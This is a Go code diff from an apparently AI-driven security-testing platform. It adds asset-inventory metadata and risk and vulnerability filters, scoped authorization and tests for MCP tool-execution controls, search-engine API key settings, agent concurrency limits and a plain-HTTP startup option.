ResponsiblePerson: strings.TrimSpace(strArg(args, "responsible_person")), Department: strings.TrimSpace(strArg(args, "department")),
BusinessSystem: strings.TrimSpace(strArg(args, "business_system")), Environment: strings.ToLower(strings.TrimSpace(strArg(args, "environment"))),
Criticality: strings.ToLower(strings.TrimSpace(strArg(args, "criticality"))),
}
if !oneOfOrEmpty(filter.Status, "active", "inactive") {
return filter, 0, 0, fmt.Errorf("status 仅支持 active 或 inactive")
@@ -280,7 +303,7 @@ func assetFilterFromToolArgs(args map[string]interface{}) (database.AssetListFil
if !oneOfOrEmpty(filter.ScanState, "never", "scanned") {
return filter, 0, 0, fmt.Errorf("scan_state 仅支持 never 或 scanned")
}
if !oneOfOrEmpty(filter.SortBy, "last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port") {
if !oneOfOrEmpty(filter.SortBy, "last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port", "risk_level", "vulnerability_count") {
return filter, 0, 0, fmt.Errorf("sort_by 不受支持")
}
if !oneOfOrEmpty(filter.SortOrder, "asc", "desc") {
@@ -293,6 +316,27 @@ func assetFilterFromToolArgs(args map[string]interface{}) (database.AssetListFil
}
filter.Port = &port
}
if _, ok := args["min_vulnerabilities"]; ok {
value := intArg(args, "min_vulnerabilities", -1)
if value < 0 {
return filter, 0, 0, fmt.Errorf("min_vulnerabilities 不能小于 0")
}
filter.MinVulnerabilities = &value
}
if _, ok := args["max_vulnerabilities"]; ok {
value := intArg(args, "max_vulnerabilities", -1)
if value < 0 {
return filter, 0, 0, fmt.Errorf("max_vulnerabilities 不能小于 0")
}
filter.MaxVulnerabilities = &value
}
if _, ok := args["scan_overdue_days"]; ok {
value := intArg(args, "scan_overdue_days", 0)
if value < 1 {
return filter, 0, 0, fmt.Errorf("scan_overdue_days 必须大于 0")
}
filter.ScanOverdueDays = &value
}
var err error
if filter.LastScanBefore, err = parseAssetToolTime("last_scan_before", strArg(args, "last_scan_before")); err != nil {
return filter, 0, 0, err
@@ -300,6 +344,12 @@ func assetFilterFromToolArgs(args map[string]interface{}) (database.AssetListFil
if filter.LastScanAfter, err = parseAssetToolTime("last_scan_after", strArg(args, "last_scan_after")); err != nil {
return filter, 0, 0, err
}
if filter.FirstSeenBefore, err = parseAssetToolTime("first_seen_before", strArg(args, "first_seen_before")); err != nil {
return filter, 0, 0, err
}
if filter.FirstSeenAfter, err = parseAssetToolTime("first_seen_after", strArg(args, "first_seen_after")); err != nil {
return filter, 0, 0, err
}
if filter.LastSeenBefore, err = parseAssetToolTime("last_seen_before", strArg(args, "last_seen_before")); err != nil {
return filter, 0, 0, err
}
@@ -435,6 +485,8 @@ func assetToolDetail(asset *database.Asset) map[string]interface{} {
"domain": truncateRunes(asset.Domain, 255), "protocol": truncateRunes(asset.Protocol, 50),
"title": truncateRunes(asset.Title, 500), "server": truncateRunes(asset.Server, 500),
"country": truncateRunes(asset.Country, 100), "province": truncateRunes(asset.Province, 100), "city": truncateRunes(asset.City, 100),
"responsible_person": truncateRunes(asset.ResponsiblePerson, 255), "department": truncateRunes(asset.Department, 255),
"business_system": truncateRunes(asset.BusinessSystem, 255), "environment": asset.Environment, "criticality": asset.Criticality,
"source": truncateRunes(asset.Source, 100), "source_query": truncateRunes(asset.SourceQuery, 2000),
"status": truncateRunes(asset.Status, 50), "tags": tags,
"first_seen_at": asset.FirstSeenAt, "last_seen_at": asset.LastSeenAt, "created_at": asset.CreatedAt, "updated_at": asset.UpdatedAt,
+14
View File
@@ -34,6 +34,16 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
}
return nil
}
toolExecutionResource := func(permission string) error {
if err := require(permission); err != nil {
return err
}
id := mcpAuthorizationString(args, "execution_id")
if id == "" || db == nil || !db.UserCanAccessToolExecution(principal.UserID, principal.ScopeFor(permission), id) {
return fmt.Errorf("no access to tool execution %s", id)
}
return nil
}
switch toolName {
case builtin.ToolWebshellExec, builtin.ToolWebshellFileWrite:
@@ -108,6 +118,10 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
return require("knowledge:read")
case builtin.ToolAnalyzeImage:
return require("agent:execute")
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution:
return toolExecutionResource("monitor:read")
case builtin.ToolCancelToolExecution:
return toolExecutionResource("monitor:write")
case builtin.ToolBatchTaskList:
return require("tasks:read")
case builtin.ToolBatchTaskGet:
+41 -1
View File
@@ -9,6 +9,7 @@ import (
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/security"
@@ -62,7 +63,7 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
authorize := mcpToolAuthorizer(db)
args := map[string]interface{}{
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x",
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x", "execution_id": "x",
}
for _, toolName := range builtin.GetAllBuiltinTools() {
err := authorize(ctx, toolName, args)
@@ -72,6 +73,45 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
}
}
func TestMCPExecutionControlAuthorizationUsesExecutionScope(t *testing.T) {
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-exec-authz.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
user, err := db.CreateRBACUser("exec-user", "Exec User", "hash", true, nil)
if err != nil {
t.Fatal(err)
}
if err := db.SaveToolExecution(&mcp.ToolExecution{
ID: "exec-owned",
ToolName: "lab::slow",
Status: "running",
StartTime: time.Now(),
OwnerUserID: user.ID,
}); err != nil {
t.Fatal(err)
}
if err := db.SaveToolExecution(&mcp.ToolExecution{
ID: "exec-hidden",
ToolName: "lab::slow",
Status: "running",
StartTime: time.Now(),
}); err != nil {
t.Fatal(err)
}
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"monitor:read": true, "monitor:write": true})
ctx := authctx.WithPrincipal(context.Background(), principal)
authorize := mcpToolAuthorizer(db)
if err := authorize(ctx, builtin.ToolWaitToolExecution, map[string]interface{}{"execution_id": "exec-owned"}); err != nil {
t.Fatalf("owned execution denied: %v", err)
}
if err := authorize(ctx, builtin.ToolCancelToolExecution, map[string]interface{}{"execution_id": "exec-hidden"}); err == nil {
t.Fatal("foreign execution was allowed")
}
}
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
if err != nil {
+27 -8
View File
@@ -23,6 +23,9 @@ type Config struct {
MCP MCPConfig `yaml:"mcp"`
OpenAI OpenAIConfig `yaml:"openai"`
FOFA FofaConfig `yaml:"fofa,omitempty" json:"fofa,omitempty"`
ZoomEye SpaceSearchConfig `yaml:"zoomeye,omitempty" json:"zoomeye,omitempty"`
Quake SpaceSearchConfig `yaml:"quake,omitempty" json:"quake,omitempty"`
Shodan SpaceSearchConfig `yaml:"shodan,omitempty" json:"shodan,omitempty"`
Agent AgentConfig `yaml:"agent"`
Hitl HitlConfig `yaml:"hitl,omitempty" json:"hitl,omitempty"`
Security SecurityConfig `yaml:"security"`
@@ -846,7 +849,8 @@ func (c OpenAIConfig) MaxCompletionTokensEffective() int {
// OpenAIReasoningConfig 全局默认与网关 profile(对话页可通过 ChatRequest.reasoning 覆盖,受 AllowClientReasoning 约束)。
type OpenAIReasoningConfig struct {
// Mode: auto(默认)| on | off | default(与 auto 相同)。off 时不向模型附加推理扩展字段。
// Mode: auto(默认)| on | off | default(与 auto 相同)。
// off 在 OpenAI/Claude profile 下省略推理字段;DeepSeek profile 下发送 thinking.type=disabled(其默认开启思考)。
Mode string `yaml:"mode,omitempty" json:"mode,omitempty"`
// Effort: low | medium | high | max | xhighmax/xhigh 为不同网关最高档命名,原样下发、不互转。空表示不单独指定强度。
Effort string `yaml:"effort,omitempty" json:"effort,omitempty"`
@@ -855,6 +859,7 @@ type OpenAIReasoningConfig struct {
// Profile: auto | deepseek_compat | openai_compat | output_config_effort
Profile string `yaml:"profile,omitempty" json:"profile,omitempty"`
// ExtraRequestFields 合并进 Chat Completions 根 JSON(管理员用;与自动字段同名时后者覆盖)。
// Mode=off 时会移除其中的推理控制字段,但保留其他扩展字段;DeepSeek profile 随后补充显式关闭开关。
ExtraRequestFields map[string]interface{} `yaml:"extra_request_fields,omitempty" json:"extra_request_fields,omitempty"`
}
@@ -885,12 +890,16 @@ func (c OpenAIReasoningConfig) AllowClientReasoningEffective() bool {
}
type FofaConfig struct {
// Email 为 FOFA 账号邮箱;APIKey 为 FOFA API Key(建议使用只读权限的 Key)
Email string `yaml:"email,omitempty" json:"email,omitempty"`
// APIKey 为 FOFA API Key(建议使用只读权限的 Key)
APIKey string `yaml:"api_key,omitempty" json:"api_key,omitempty"`
BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"` // 默认 https://fofa.info/api/v1/search/all
}
type SpaceSearchConfig struct {
APIKey string `yaml:"api_key,omitempty" json:"api_key,omitempty"`
BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"`
}
type SecurityConfig struct {
Tools []ToolConfig `yaml:"tools,omitempty"` // 向后兼容:支持在主配置文件中定义工具
ToolsDir string `yaml:"tools_dir,omitempty"` // 工具配置文件目录(新方式)
@@ -903,8 +912,13 @@ type DatabaseConfig struct {
}
type AgentConfig struct {
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
ToolWaitTimeoutSeconds int `yaml:"tool_wait_timeout_seconds" json:"tool_wait_timeout_seconds"` // 工具本轮等待秒数;到时返回 execution_idworker 继续后台执行;0 表示等到完成
ExternalMCPMaxConcurrentPerServer int `yaml:"external_mcp_max_concurrent_per_server" json:"external_mcp_max_concurrent_per_server"` // 单个外部 MCP server 同时运行的工具数;0 表示默认 2
ExternalMCPMaxConcurrentTotal int `yaml:"external_mcp_max_concurrent_total" json:"external_mcp_max_concurrent_total"` // 所有外部 MCP 工具全局并发;0 表示默认 16
ExternalMCPCircuitFailureThreshold int `yaml:"external_mcp_circuit_failure_threshold" json:"external_mcp_circuit_failure_threshold"` // 单个 MCP server 连续失败多少次后打开熔断;0 表示默认 3;负数关闭
ExternalMCPCircuitCooldownSeconds int `yaml:"external_mcp_circuit_cooldown_seconds" json:"external_mcp_circuit_cooldown_seconds"` // 熔断后冷却秒数;0 表示默认 60
// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数(通用防挂死,不维护命令黑名单);0=默认 300(5 分钟);-1=关闭。
ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
// WorkspaceRootDir 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离。
@@ -1713,9 +1727,14 @@ func Default() *Config {
MaxCompletionTokens: DefaultMaxCompletionTokens,
},
Agent: AgentConfig{
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
ToolWaitTimeoutSeconds: 60, // 外部 MCP 工具单轮最多等待 60 秒,超时后返回 execution_id 可继续等待
ExternalMCPMaxConcurrentPerServer: 2, // 单个外部 MCP server 默认最多 2 个工具同时执行
ExternalMCPMaxConcurrentTotal: 16, // 外部 MCP 工具全局默认最多 16 个同时执行
ExternalMCPCircuitFailureThreshold: 3, // 单个 server 连续 3 次失败后临时熔断
ExternalMCPCircuitCooldownSeconds: 60, // 熔断默认冷却 60 秒
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
},
Security: SecurityConfig{
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
+14
View File
@@ -44,3 +44,17 @@ func ApplyDevHTTPSBootstrap(cfg *Config) {
}
cfg.Server.TLSAutoSelfSign = true
}
// ApplyPlainHTTPBootstrap 供 --http / 一键脚本使用:强制主站使用明文 HTTP。
// 它会覆盖配置文件中的 TLS 开关、自签证书以及证书路径,避免 --http 仍被配置中的 HTTPS 选项重新启用。
func ApplyPlainHTTPBootstrap(cfg *Config) {
if cfg == nil {
return
}
cfg.Server.TLSEnabled = false
cfg.Server.TLSAutoSelfSign = false
cfg.Server.TLSCertPath = ""
cfg.Server.TLSKeyPath = ""
disabled := false
cfg.Server.TLSHTTPRedirect = &disabled
}
@@ -0,0 +1,31 @@
package config
import "testing"
func TestApplyPlainHTTPBootstrapDisablesConfiguredTLS(t *testing.T) {
enabled := true
cfg := &Config{
Server: ServerConfig{
TLSEnabled: true,
TLSAutoSelfSign: true,
TLSCertPath: "/tmp/server.crt",
TLSKeyPath: "/tmp/server.key",
TLSHTTPRedirect: &enabled,
},
}
ApplyPlainHTTPBootstrap(cfg)
if MainWebUIUsesHTTPS(&cfg.Server) {
t.Fatal("expected --http bootstrap to disable main web UI HTTPS")
}
if ServerHTTPRedirectEnabled(&cfg.Server) {
t.Fatal("expected --http bootstrap to disable HTTP to HTTPS redirect")
}
if cfg.Server.TLSCertPath != "" || cfg.Server.TLSKeyPath != "" {
t.Fatalf("expected TLS cert paths to be cleared, got cert=%q key=%q", cfg.Server.TLSCertPath, cfg.Server.TLSKeyPath)
}
if cfg.Server.TLSHTTPRedirect == nil || *cfg.Server.TLSHTTPRedirect {
t.Fatal("expected TLSHTTPRedirect to be explicitly disabled")
}
}
+431 -43
View File
@@ -31,6 +31,11 @@ type Asset struct {
Country string `json:"country"`
Province string `json:"province"`
City string `json:"city"`
ResponsiblePerson string `json:"responsible_person"`
Department string `json:"department"`
BusinessSystem string `json:"business_system"`
Environment string `json:"environment"`
Criticality string `json:"criticality"`
Source string `json:"source"`
SourceQuery string `json:"source_query"`
Status string `json:"status"`
@@ -49,23 +54,37 @@ type Asset struct {
}
type AssetListFilter struct {
Search string
Status string
Protocol string
ProjectID string
Source string
Tag string
Host string
IP string
Domain string
Port *int
ScanState string
LastScanBefore *time.Time
LastScanAfter *time.Time
LastSeenBefore *time.Time
LastSeenAfter *time.Time
SortBy string
SortOrder string
Search string
Status string
Protocol string
ProjectID string
Source string
Tag string
Host string
IP string
Domain string
Port *int
RiskLevel string
MinVulnerabilities *int
MaxVulnerabilities *int
Country string
Province string
City string
ResponsiblePerson string
Department string
BusinessSystem string
Environment string
Criticality string
ScanState string
ScanOverdueDays *int
LastScanBefore *time.Time
LastScanAfter *time.Time
FirstSeenBefore *time.Time
FirstSeenAfter *time.Time
LastSeenBefore *time.Time
LastSeenAfter *time.Time
SortBy string
SortOrder string
}
type AssetImportResult struct {
@@ -84,6 +103,11 @@ func normalizeAsset(a *Asset) {
a.Country = strings.TrimSpace(a.Country)
a.Province = strings.TrimSpace(a.Province)
a.City = strings.TrimSpace(a.City)
a.ResponsiblePerson = strings.TrimSpace(a.ResponsiblePerson)
a.Department = strings.TrimSpace(a.Department)
a.BusinessSystem = strings.TrimSpace(a.BusinessSystem)
a.Environment = strings.ToLower(strings.TrimSpace(a.Environment))
a.Criticality = strings.ToLower(strings.TrimSpace(a.Criticality))
a.Source = strings.TrimSpace(a.Source)
a.SourceQuery = strings.TrimSpace(a.SourceQuery)
a.ProjectID = strings.TrimSpace(a.ProjectID)
@@ -192,6 +216,7 @@ func validateAsset(a *Asset) error {
for name, value := range map[string]string{
"Host": a.Host, "域名": a.Domain, "协议": a.Protocol, "页面标题": a.Title,
"服务指纹": a.Server, "国家/地区": a.Country, "省份/州": a.Province, "城市": a.City,
"负责人": a.ResponsiblePerson, "部门": a.Department, "业务系统": a.BusinessSystem,
} {
limit := 255
if name == "Host" || name == "页面标题" {
@@ -201,6 +226,12 @@ func validateAsset(a *Asset) error {
return assetValidationErrorf("%s不能超过 %d 个字符", name, limit)
}
}
if !oneOfAssetValue(a.Environment, "", "production", "staging", "testing", "development", "other") {
return assetValidationErrorf("环境必须为 production、staging、testing、development 或 other")
}
if !oneOfAssetValue(a.Criticality, "", "critical", "high", "medium", "low") {
return assetValidationErrorf("重要性必须为 critical、high、medium 或 low")
}
if len(a.Tags) > 30 {
return assetValidationErrorf("标签不能超过 30 个")
}
@@ -212,6 +243,15 @@ func validateAsset(a *Asset) error {
return nil
}
func oneOfAssetValue(value string, allowed ...string) bool {
for _, candidate := range allowed {
if value == candidate {
return true
}
}
return false
}
func validAssetDomain(domain string) bool {
domain = strings.TrimSuffix(strings.ToLower(strings.TrimSpace(domain)), ".")
if domain == "" || len(domain) > 253 || net.ParseIP(domain) != nil {
@@ -290,10 +330,12 @@ func (db *DB) UpsertAssets(assets []*Asset, ownerUserID string, allowGlobal ...b
asset.FirstSeenAt, asset.LastSeenAt, asset.CreatedAt, asset.UpdatedAt = now, now, now, now
_, err = tx.Exec(`INSERT INTO assets (
id,dedup_key,project_id,host,ip,port,domain,protocol,title,server,country,province,city,source,source_query,status,tags_json,
responsible_person,department,business_system,environment,criticality,
first_seen_at,last_seen_at,created_at,updated_at,owner_user_id
) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)`,
) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)`,
asset.ID, key, nullIfEmpty(asset.ProjectID), asset.Host, asset.IP, asset.Port, asset.Domain, asset.Protocol, asset.Title, asset.Server,
asset.Country, asset.Province, asset.City, asset.Source, asset.SourceQuery, asset.Status, string(tagsJSON),
asset.ResponsiblePerson, asset.Department, asset.BusinessSystem, asset.Environment, asset.Criticality,
now, now, now, now, nullIfEmpty(ownerUserID))
if err != nil {
return result, fmt.Errorf("创建资产失败: %w", err)
@@ -322,11 +364,18 @@ func (db *DB) UpsertAssets(assets []*Asset, ownerUserID string, allowGlobal ...b
country=CASE WHEN ?<>'' THEN ? ELSE country END, province=CASE WHEN ?<>'' THEN ? ELSE province END,
city=CASE WHEN ?<>'' THEN ? ELSE city END, source=CASE WHEN ?<>'' THEN ? ELSE source END,
source_query=CASE WHEN ?<>'' THEN ? ELSE source_query END, project_id=CASE WHEN ?<>'' THEN ? ELSE project_id END,
responsible_person=CASE WHEN ?<>'' THEN ? ELSE responsible_person END,
department=CASE WHEN ?<>'' THEN ? ELSE department END,
business_system=CASE WHEN ?<>'' THEN ? ELSE business_system END,
environment=CASE WHEN ?<>'' THEN ? ELSE environment END,
criticality=CASE WHEN ?<>'' THEN ? ELSE criticality END,
tags_json=CASE WHEN ?<>'[]' THEN ? ELSE tags_json END,
last_seen_at=?, updated_at=? WHERE id=?`,
asset.Host, asset.Host, asset.IP, asset.IP, asset.Domain, asset.Domain, asset.Protocol, asset.Protocol,
asset.Title, asset.Title, asset.Server, asset.Server, asset.Country, asset.Country, asset.Province, asset.Province,
asset.City, asset.City, asset.Source, asset.Source, asset.SourceQuery, asset.SourceQuery, asset.ProjectID, nullIfEmpty(asset.ProjectID), string(tagsJSON), string(tagsJSON),
asset.City, asset.City, asset.Source, asset.Source, asset.SourceQuery, asset.SourceQuery, asset.ProjectID, nullIfEmpty(asset.ProjectID),
asset.ResponsiblePerson, asset.ResponsiblePerson, asset.Department, asset.Department, asset.BusinessSystem, asset.BusinessSystem,
asset.Environment, asset.Environment, asset.Criticality, asset.Criticality, string(tagsJSON), string(tagsJSON),
now, now, existingID)
if err != nil {
return result, fmt.Errorf("更新资产失败: %w", err)
@@ -349,18 +398,19 @@ func assetWhere(filter AssetListFilter, access RBACListAccess) (string, []interf
args := []interface{}{}
if q := strings.TrimSpace(filter.Search); q != "" {
pattern := "%" + escapeAssetLike(strings.ToLower(q)) + "%"
query += ` AND (LOWER(host) LIKE ? ESCAPE '\' OR LOWER(ip) LIKE ? ESCAPE '\' OR LOWER(domain) LIKE ? ESCAPE '\'
OR LOWER(title) LIKE ? ESCAPE '\' OR LOWER(server) LIKE ? ESCAPE '\' OR LOWER(tags_json) LIKE ? ESCAPE '\')`
for i := 0; i < 6; i++ {
query += ` AND (LOWER(assets.host) LIKE ? ESCAPE '\' OR LOWER(assets.ip) LIKE ? ESCAPE '\' OR LOWER(assets.domain) LIKE ? ESCAPE '\'
OR LOWER(assets.title) LIKE ? ESCAPE '\' OR LOWER(assets.server) LIKE ? ESCAPE '\' OR LOWER(assets.tags_json) LIKE ? ESCAPE '\'
OR LOWER(assets.responsible_person) LIKE ? ESCAPE '\' OR LOWER(assets.department) LIKE ? ESCAPE '\' OR LOWER(assets.business_system) LIKE ? ESCAPE '\')`
for i := 0; i < 9; i++ {
args = append(args, pattern)
}
}
if filter.Status != "" {
query += " AND status = ?"
query += " AND assets.status = ?"
args = append(args, filter.Status)
}
if filter.Protocol != "" {
query += " AND protocol = ?"
query += " AND assets.protocol = ?"
args = append(args, filter.Protocol)
}
if filter.ProjectID != "" {
@@ -392,12 +442,41 @@ func assetWhere(filter AssetListFilter, access RBACListAccess) (string, []interf
query += " AND assets.port = ?"
args = append(args, *filter.Port)
}
if filter.RiskLevel != "" {
query += " AND " + assetRiskLevelExpr + " = ?"
args = append(args, strings.ToLower(strings.TrimSpace(filter.RiskLevel)))
}
if filter.MinVulnerabilities != nil {
query += " AND " + assetVulnerabilityCountExpr + " >= ?"
args = append(args, *filter.MinVulnerabilities)
}
if filter.MaxVulnerabilities != nil {
query += " AND " + assetVulnerabilityCountExpr + " <= ?"
args = append(args, *filter.MaxVulnerabilities)
}
for _, item := range []struct {
column string
value string
}{
{"assets.country", filter.Country}, {"assets.province", filter.Province}, {"assets.city", filter.City},
{"assets.responsible_person", filter.ResponsiblePerson}, {"assets.department", filter.Department},
{"assets.business_system", filter.BusinessSystem}, {"assets.environment", filter.Environment}, {"assets.criticality", filter.Criticality},
} {
if strings.TrimSpace(item.value) != "" {
query += " AND LOWER(" + item.column + ") = LOWER(?)"
args = append(args, strings.TrimSpace(item.value))
}
}
switch strings.ToLower(strings.TrimSpace(filter.ScanState)) {
case "never":
query += " AND " + assetEffectiveLastScanExpr + " IS NULL"
case "scanned":
query += " AND " + assetEffectiveLastScanExpr + " IS NOT NULL"
}
if filter.ScanOverdueDays != nil {
query += " AND (" + assetEffectiveLastScanExpr + " IS NULL OR datetime(" + assetEffectiveLastScanExpr + ") < datetime('now', ?))"
args = append(args, fmt.Sprintf("-%d days", *filter.ScanOverdueDays))
}
if filter.LastScanBefore != nil {
query += " AND " + assetEffectiveLastScanExpr + " < ?"
args = append(args, *filter.LastScanBefore)
@@ -406,6 +485,14 @@ func assetWhere(filter AssetListFilter, access RBACListAccess) (string, []interf
query += " AND " + assetEffectiveLastScanExpr + " > ?"
args = append(args, *filter.LastScanAfter)
}
if filter.FirstSeenBefore != nil {
query += " AND assets.first_seen_at < ?"
args = append(args, *filter.FirstSeenBefore)
}
if filter.FirstSeenAfter != nil {
query += " AND assets.first_seen_at > ?"
args = append(args, *filter.FirstSeenAfter)
}
if filter.LastSeenBefore != nil {
query += " AND assets.last_seen_at < ?"
args = append(args, *filter.LastSeenBefore)
@@ -428,7 +515,8 @@ func scanAsset(scanner interface{ Scan(...interface{}) error }) (*Asset, error)
var tags string
var lastScanAt interface{}
err := scanner.Scan(&a.ID, &a.ProjectID, &a.ProjectName, &a.Host, &a.IP, &a.Port, &a.Domain, &a.Protocol, &a.Title, &a.Server, &a.Country,
&a.Province, &a.City, &a.Source, &a.SourceQuery, &a.Status, &tags, &a.FirstSeenAt, &a.LastSeenAt, &a.CreatedAt, &a.UpdatedAt,
&a.Province, &a.City, &a.ResponsiblePerson, &a.Department, &a.BusinessSystem, &a.Environment, &a.Criticality,
&a.Source, &a.SourceQuery, &a.Status, &tags, &a.FirstSeenAt, &a.LastSeenAt, &a.CreatedAt, &a.UpdatedAt,
&lastScanAt, &a.LastScanConversationID, &a.LastScanQueueID, &a.LastScanTaskID, &a.VulnerabilityCount, &a.RiskLevel)
if err != nil {
return nil, err
@@ -476,20 +564,29 @@ const assetEffectiveLastScanExpr = `COALESCE(
assets.last_scan_at
)`
const assetVulnerabilityMatchExpr = `(
(COALESCE(assets.last_scan_conversation_id,'')<>'' AND v.conversation_id=assets.last_scan_conversation_id)
OR (COALESCE(assets.last_scan_task_id,'')<>'' AND EXISTS (
SELECT 1 FROM batch_tasks bt WHERE bt.id=assets.last_scan_task_id AND bt.conversation_id=v.conversation_id
))
)`
const assetVulnerabilityCountExpr = `(SELECT COUNT(DISTINCT v.id) FROM vulnerabilities v WHERE ` + assetVulnerabilityMatchExpr + `)`
const assetRiskScoreExpr = `COALESCE((
SELECT MAX(CASE LOWER(COALESCE(v.severity,'')) WHEN 'critical' THEN 5 WHEN 'high' THEN 4 WHEN 'medium' THEN 3 WHEN 'low' THEN 2 WHEN 'info' THEN 1 ELSE 0 END)
FROM vulnerabilities v
WHERE LOWER(COALESCE(v.status,'open')) NOT IN ('fixed','false_positive','ignored') AND ` + assetVulnerabilityMatchExpr + `
),0)`
const assetRiskLevelExpr = `(CASE WHEN ` + assetEffectiveLastScanExpr + ` IS NULL THEN 'unassessed' ELSE CASE ` + assetRiskScoreExpr + `
WHEN 5 THEN 'critical' WHEN 4 THEN 'high' WHEN 3 THEN 'medium' WHEN 2 THEN 'low' WHEN 1 THEN 'info' ELSE 'normal' END END)`
const assetSelectColumns = `assets.id,COALESCE(assets.project_id,''),COALESCE(p.name,''),assets.host,assets.ip,assets.port,assets.domain,assets.protocol,assets.title,assets.server,assets.country,
assets.province,assets.city,assets.source,assets.source_query,assets.status,assets.tags_json,assets.first_seen_at,assets.last_seen_at,assets.created_at,assets.updated_at,
assets.province,assets.city,assets.responsible_person,assets.department,assets.business_system,assets.environment,assets.criticality,
assets.source,assets.source_query,assets.status,assets.tags_json,assets.first_seen_at,assets.last_seen_at,assets.created_at,assets.updated_at,
` + assetEffectiveLastScanExpr + `,COALESCE(assets.last_scan_conversation_id,''),COALESCE(assets.last_scan_queue_id,''),COALESCE(assets.last_scan_task_id,''),
(SELECT COUNT(DISTINCT v.id) FROM vulnerabilities v WHERE
(COALESCE(assets.last_scan_conversation_id,'')<>'' AND v.conversation_id=assets.last_scan_conversation_id)
OR (COALESCE(assets.last_scan_task_id,'')<>'' AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.id=assets.last_scan_task_id AND bt.conversation_id=v.conversation_id))),
CASE WHEN assets.last_scan_at IS NULL THEN 'unassessed' ELSE CASE COALESCE((
SELECT MAX(CASE LOWER(COALESCE(v.severity,'')) WHEN 'critical' THEN 5 WHEN 'high' THEN 4 WHEN 'medium' THEN 3 WHEN 'low' THEN 2 WHEN 'info' THEN 1 ELSE 0 END)
FROM vulnerabilities v WHERE
LOWER(COALESCE(v.status,'open')) NOT IN ('fixed','false_positive','ignored') AND (
(COALESCE(assets.last_scan_conversation_id,'')<>'' AND v.conversation_id=assets.last_scan_conversation_id)
OR (COALESCE(assets.last_scan_task_id,'')<>'' AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.id=assets.last_scan_task_id AND bt.conversation_id=v.conversation_id))
)
),0) WHEN 5 THEN 'critical' WHEN 4 THEN 'high' WHEN 3 THEN 'medium' WHEN 2 THEN 'low' WHEN 1 THEN 'info' ELSE 'normal' END END`
` + assetVulnerabilityCountExpr + `,` + assetRiskLevelExpr
// MarkAssetScanned links an asset to the conversation or batch subtask created from it.
// The link lets the asset list show the latest scan time and vulnerabilities produced by that scan.
@@ -573,6 +670,36 @@ func (db *DB) ListAssets(limit, offset int, filter AssetListFilter, access RBACL
return items, total, rows.Err()
}
// ListAssetsForOperation resolves the complete filtered selection used by
// cross-page bulk actions. The caller supplies a strict upper bound.
func (db *DB) ListAssetsForOperation(limit int, filter AssetListFilter, access RBACListAccess) ([]*Asset, int, error) {
if limit < 1 || limit > 10000 {
limit = 10000
}
where, args := assetWhere(filter, access)
var total int
if err := db.QueryRow("SELECT COUNT(*) FROM assets"+where, args...).Scan(&total); err != nil {
return nil, 0, err
}
if total > limit {
return nil, total, fmt.Errorf("匹配资产超过 %d 条,请缩小筛选范围", limit)
}
rows, err := db.Query("SELECT "+assetSelectColumns+" FROM assets LEFT JOIN projects p ON p.id=assets.project_id"+where+" ORDER BY "+assetOrderBy(filter.SortBy, filter.SortOrder), args...)
if err != nil {
return nil, 0, err
}
defer rows.Close()
items := make([]*Asset, 0, total)
for rows.Next() {
item, err := scanAsset(rows)
if err != nil {
return nil, 0, err
}
items = append(items, item)
}
return items, total, rows.Err()
}
func assetOrderBy(sortBy, sortOrder string) string {
direction := "DESC"
if strings.EqualFold(strings.TrimSpace(sortOrder), "asc") {
@@ -598,6 +725,10 @@ func assetOrderBy(sortBy, sortOrder string) string {
expression = "LOWER(assets.host)"
case "port":
expression = "assets.port"
case "vulnerability_count":
expression = assetVulnerabilityCountExpr
case "risk_level":
expression = assetRiskScoreExpr
default:
expression = "assets.last_seen_at"
}
@@ -620,8 +751,10 @@ func (db *DB) UpdateAsset(id string, a *Asset, access RBACListAccess) error {
}
